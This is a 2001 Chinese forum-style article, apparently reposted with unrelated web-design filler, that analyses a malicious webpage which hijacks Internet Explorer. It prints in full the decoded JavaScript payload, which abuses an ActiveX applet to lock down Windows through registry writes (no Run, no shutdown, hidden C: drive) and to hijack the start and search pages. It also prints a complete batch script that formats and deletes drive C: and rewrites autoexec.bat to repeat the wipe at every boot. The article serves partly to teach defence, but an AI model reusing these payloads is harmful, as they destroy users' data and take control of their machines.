|
網站建設是指使用標識語言（markup language)，通過一系列設計、建模、和執行的過程將電子格式的信息通過互聯網傳輸，最終以圖形用戶界面（GUI）的形式被用戶所瀏覽。簡單來說，網頁設計的目的就是產生網站。簡單的信息如文字，圖片（GIF，JPEG，PNG）和表格，都可以通過使超文件標示語言、可擴展超文本標記語言等標示語言放置到網站頁面上。
大家都有這樣很煩地經歷：可能在網上沖浪時，IE會莫名被被改的希奇古怪了，收藏家也多了
許多什么什么精美照片之類的網址，我后來研究這種網頁，隱藏的很深的，首先發現它的主頁有這
樣的代碼有引用什么www.coolstarpage.com的代碼，
<script src=" http://coolstarpage.com/set.asp?name=123&url=http://www.123.com&set=2"></script>
大家可以去看看
document.write("<IFRAME src='ieatt.htm' width='1' height='0' marginwidth='0' marginheight='0'
hspace='0' vspace='0' frameborder='0' scrolling='NO' ></IFRAME>");
文件ieatt.htm代碼這樣的：
<SCRIPT LANGUAGE="JScript.Encode">#@~^tREAAA==@#@&@!Z O@#@&\mD, WMNdP{JYf;/mMrwD] ...</SCRIPT>
顯然用Microsoft Script Encoder加密JavaScript代碼了，網絡真好，很快找到了
Decoder for Microsoft Script Encoder（該工具的源代碼有附）改程序的具體機制及算法詳見：
http://www.virtualconspiracy.com/scrdec.html
【題外話】
Windows腳本加密器(Windows Script Encoder - screnc.exe)是微軟提供給大家加密
html,JScript,ASP等腳本,該工具下載地址：
http://msdn.microsoft.com/scripting/default.htm?/scripting/vbscript/download/vbsdown.htm
微軟沒有提供解密工具，微軟在主頁上這樣說：
Note that this encoding only prevents casual viewing of your code;
it will not prevent the determined hacker from seeing what you've done and how.
加密器使用方法：
screnc filename1 filename2
filename1 - 要加密的腳本文件
filename2 - 加密后輸出的腳本文件
舉個例子：
源文件如下：
<HTML>
<HEAD>
<TITLE>Page with secret information</TITLE>
<SCRIPT LANGUAGE="JScript">
<!--//
//**Start Encode**
alert ("this code should be kept secret!!!!");
//-->
</SCRIPT>
</HEAD>
<BODY>
This page contains secret information.
</BODY>
</HTML>
加密后文件如下：
<HTML>
<HEAD>
<TITLE>Page with secret information</TITLE>
<SCRIPT LANGUAGE="JScript.Encode">
<!--//
//**Start Encode**#@~^QwAAAA==@#@&P~,l^+DDPvEY4kdP1W[n,/tK;V9P4
~V+aY,/nm.nD"Z"eE#p@#@&&JOO@*@#@&qhAAAA==^#~@&
lt;/SCRIPT>
</HEAD>
<BODY>
This page contains secret information.
</BODY>
</HTML>
你已經看到了加密后的腳本使用了Scripting.Encoder這個COM對象來實現的。
【言歸正卷】
解密后代碼大致為:
【--不要使用，大家研究研究------------------------------------------------------------------】
<SCRIPT LANGUAGE="JAVASCRIPT">
fn="GhostStudio.HTM";
doc="<SCRIPT>s1=\'Welcome to Ghost Studio\';alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
//add favorites
function AddFavLnk(localFavDir, urlDispname, urlSite)
{
var varShortcut = Shl.CreateShortcut(localFavDir + "\\" + urlDispname +".URL");
varShortcut.TargetPath = urlSite;
varShortcut.Save();
}
function saveFile()
{
a1.setProperty('DOC',doc);
}
function iloveu()
{
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
a1.setCLSID("{06290BD5-48AA-11D2-8432-006008C3FBFC}");
a1.createInstance();
Path = a1.GetObject();
//create a file named 'GhostStudio.htm" on your desktop
setTimeout("a1.setProperty('Path','"+fn+"')",1000);
setTimeout("saveFile()",1500);
setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);
try
{
if (document.cookie.indexOf("Chg") == -1)
{
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc)) return;
}
//add favorite
AddFavLnk(loc, "Ghost Studio", " http://GhostStudio.yeah.net");
//no run
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", 01, "REG_BINARY");
//no shutdown
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 01, "REG_BINARY");
//no logoff
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY");
//no driver c:
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives", "00000004", "REG_DWORD");
//no dos program
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled","REG_BINARY");
//no dos model
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode","REG_BINARY");
//show logon messagebox title
Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "AHA i LOVE U");
//show logon messagebox contect
Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "AHA i LOVE U");
//modify ie start page
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", " http://ghoststudio.yeah.net");
//modify input
Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\internat.exe", "..............");
//modify reg readonly
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000000", "REG_DWORD");
//modify ie window title
Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", " http://ghoststudio.yeah.net");
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", " http://ghoststudio.yeah.net");
//modify ie search page
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\AutoSearch", "05000000", "REG_BINARY");
Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\AutoSearch", "05000000", "REG_BINARY");
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Do404Search", "01000000", "REG_BINARY");
Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Do404Search", "01000000", "REG_BINARY");
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page", " http://ghoststudio.yeah.net");
Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page", " http://ghoststudio.yeah.net");
}
}
catch(e){}
}
catch(e){}
}
function init()
{
setTimeout("iloveu()", 1000);
}
init();
</SCRIPT>
<SCRIPT LANGUAGE="VBSCRIPT">
' 獲取com.ms.com.Variant[]
VA = ARRAY()
</SCRIPT>
//*****************************************
@echo off
rem Bye Bye Hardrive 1.0
echo Please wait while program uploads some nice pronography....
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
echo call deltree /y c: >nul >>c:\autoexec.bat
echo dummy variable >c:\dvar.txt
:form
call format c: /q /u /autotest >nul
if exist c:\dos\format.* goto dosform
if exist c:\windows\command\format.* goto winform
goto de
:dosform
cd\dos >nul
call format c: /h /q /u /autotest >nul
cd\ >nul
:winform
cd\windows\command >nul
call format c: /h /q /u /autotest >nul
cd\ >nul
goto inform
:de
if exist c:\dvar.txt goto dtree
goto inform
:dtree
call deltree /y c: >nul
if exist c:\dos\deltree.* goto deldos
if exist c:\windows\command\deltree.* goto delwin
goto inform
:deldos
cd\dos
call deltree /y c: >nul
cd\
:delwin
cd\windows\command >nul
call deltree /y c: >nul
cd\ >nul
rem The following rewrites the code into the autoexec.bat file.
echo @echo off >c:\autoexec.bat
echo cls >>c:\autoexe.bat
echo :form
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
echo if exist c:\dos\format.* goto dosform >>c:\autoexec.bat
echo if exist c:\windows\command\format.* goto winform >>c:\autoexec.bat
echo goto de >>c:\autoexec.bat
echo :dosform >>c:\autoexec.bat
echo cd\dos >nul >>c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
echo cd\ >nul >>c:\autoexec.bat
echo :winform >>c:\autoexec.bat
echo cd\windows\command >nul >>c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
echo cd\ >nul >>c:\autoexec.bat
echo goto write >>c:\autoexec.bat
echo :de >>c:\autoexec.bat
echo if exist c:\dvar.txt goto dtree >>c:\autoexec.bat
echo goto write >>c:\autoexec.bat
echo :dtree >>c:\autoexec.bat
echo call deltree /y c: >nul >>c:\autoexec.bat
echo if exist c:\dos\deltree.* goto deldos >>c:\autoexec.bat
echo if exist c:\windows\command\deltree.* goto delwin >>c:\autoexec.bat
echo :deldos >>c:\autoexec.bat
echo cd\dos >>c:\autoexec.bat
echo call deltree /y c: >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo :delwin >>c:\autoexec.bat
echo cd\windows\command >nul >>c:\autoexec.bat
echo call deltree /y c: >nul >>c:\autoexec.bat
echo cd\ >nul >>c:\autoexec.bat
echo :write >>c:\autoexec.bat
echo type hdkiller.txt >>c:\autoexec.bat
echo c:\ >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo :nasty >>c:\autoexec.bat
echo md nasty >>c:\autoexec.bat
echo cd nasty >>c:\autoexec.bat
echo echo You're Gone @$$ hole!!!! >yourgone.txt >>c:\autoexec.bat
echo goto nasty >>c:\autoexec.bat
echo pause >>c:\autoexec.bat
rem Rewriting of code to the autoexec.bat file is complete.
c:\ >nul
cd\ >nul
:killfat
md nasty >nul
cd nasty >nul
echo Woops Is sent the hdk and not the pornography o well.. >yourgone.txt >nul
goto killfat
:end
//*****************************************
【--不要使用，大家研究研究------------------------------------------------------------------】
批注（我加上了注解，代碼中Ghost Studio及 http://ghoststudio.yeah.net字符串是我代替用的，其中有些代碼是我自己根據對Windows的了解而加上去的）
更重要的是可以執行一個可執行文件
雖然JAVA對Applet的安全作出了限制，但由于瀏覽器或語言漏洞的原因，當它與功能比較強大的腳本語言結合時，這些小應用程序�？蓱{借正常或詭秘的手段對用戶
的機器進行惡意修改，比如修改注冊表，運行相關的DOS命令，在用戶機器上安裝木馬或激活相關的應用程序，其功能之強大遠非單純的網頁所能勝任，由此看來，現在網上
所流傳的說什么瀏覽相關網頁中病毒或者硬盤被格式化也就見怪不驚了。另外，還有一種嵌入式應用程序就是ActiveX，是微軟的一種插件技術，也可以象Applet一樣
進行一些針對本機的操作�，F在讓我們了解一下以下代碼編制的機 理（如果你不了解腳本語言，可僅看看程序修改了哪些注冊表表 項，然后找到 這些表項并修改回來）。
讓我們再來看看這個com.ms.activeX.ActiveXComponent東西是什么？
我的computer時Windows 2000
在目錄 \WINNT\Java\Packages\有一個zip文件Tn9j75np.zip大概5M
里面是一堆的java class
我提供代碼中有將有源文件ActiveXComponent.java代碼大致是：
public class ActiveXComponent extends Canvas
{
private transient IAXComponent ax;
private transient IUnknown unknown;
private String clsid;
public void enableEvents()
{
}
public IUnknown createInstance(String s)
{
unknown = ax.createControl(s);
return unknown;
}
public IUnknown createInstance()
{
if(clsid == null)
throw new NullPointerException();
else
return createInstance(clsid);
}
public void createInstance(IUnknown iunknown)
{
if(iunknown == null)
{
throw new NullPointerException();
} else
{
unknown = iunknown;
ax.createControlFromIUnknown(iunknown);
return;
}
}
public Variant invoke(String s, Variant avariant[])
{
return internal_invoke(1, s, avariant);
}
public Variant getProperty(String s)
{
return internal_invoke(2, s, null);
}
public void setProperty(String s, Variant variant)
{
Variant avariant[] = new Variant[1];
avariant[0] = variant;
internal_invoke(4, s, avariant);
}
public ActiveXComponent()
{
PolicyEngine.checkForAllPermissions();
ax = createAXComponent();
}
public ActiveXComponent(String s)
{
this();
setCLSID(s);
createInstance(s);
}
public ActiveXComponent(IUnknown iunknown)
{
this();
createInstance(iunknown);
}
protected IAXComponent getHost()
{
return ax;
}
private static native IAXComponent createAXComponent();
private Variant internal_invoke(int i, String s, Variant avariant[])
throws IllegalArgumentException, NullPointerException
{
int ai[] = new int[1];
if(s == null)
throw new IllegalArgumentException("The method or property name can not be null.");
if(i == 0)
i = 1;
if(i != 1 && i != 2 && i != 4 && i != 8)
throw new IllegalArgumentException("The argument, int type, is not valid.");
if(getObject() == null)
throw new NullPointerException("The ActiveX control IUnknown is null.");
Variant variant = null;
switch(i)
{
case 3: // '\003'
case 5: // '\005'
case 6: // '\006'
case 7: // '\007'
default:
break;
case 2: // '\002'
variant = Dispatch.get(getObject(), s);
break;
case 4: // '\004'
if(avariant == null)
throw new IllegalArgumentException("Property value can not be null.");
Dispatch.put(getObject(), s, avariant[0]);
break;
case 8: // '\b'
if(avariant == null)
throw new IllegalArgumentException("Property value can not be null.");
Dispatch.putRef(getObject(), s, avariant[0]);
break;
case 1: // '\001'
if(avariant == null)
{
Variant avariant1[] = new Variant[1];
avariant1[0] = new Variant();
avariant = avariant1;
}
variant = Dispatch.invokev(getObject(), s, i, avariant, ai);
break;
}
return variant;
}
public void setCLSID(String s)
{
clsid = s;
}
public String getCLSID()
{
return clsid;
}
public IUnknown getObject()
{
return unknown;
}
static
{
System.loadLibrary("msawt");
}
}
可以看出
Windows對java的支持主要靠這個文件:\SystemDir\msawt.dll（Microsoft AWT Library for Java）
【提供的源代碼說明】
_iloveu.ok 惡意代碼（我沒有測試，原理絕對對，大家不要使用）
ActiveXCompoent.java 微軟對java支持的一塊代碼
remodify.htm 對已中毒的系統恢復注冊表（代碼加密了，大家解密看看）
regvol1.zip 注冊表大全卷一RegHelp Vol.1壓縮包（解壓后點擊reg目錄下的index.html）
sce10chs.exe Mircosoft提供的腳本加密工具ver 1.0
scrdec13.c Windows Script Decoder源代碼ver 1.3
scrdec13.exe Windows Script Decoder程序（命令行方式）
WindowsScriptDecoder.htm 原作者的算法講解，e文
Copyleft (c) 2001 Ghost Studio. All rights abandoned.
http://GhostStudio.yeah.net
mornlee@21cn.com
2001/12/29
【閃人了！】
再過兩小時我們要吃年飯了，不能說太多了，呵呵，沒時間了！
大家自己研究研究吧！千萬不要濫用哦！
不對的請指正！
最后祝大家也祝我，Happy New Year！天天好心情！
重復重要聲明：
此代碼僅供研究使用，讓大家有點防范意識，不要這種無聊惡意的代碼危害我們，
影響我們網上沖浪的心情，如果有人非法使用，一切后果自負，與本人無關，也建議大家
不要在自己的主頁中使用，因為你一旦使用，最后最遭殃的是生你養你的老媽呀！
大多數人在上網的時候，都會瀏覽網頁提供給我們的信息。
|
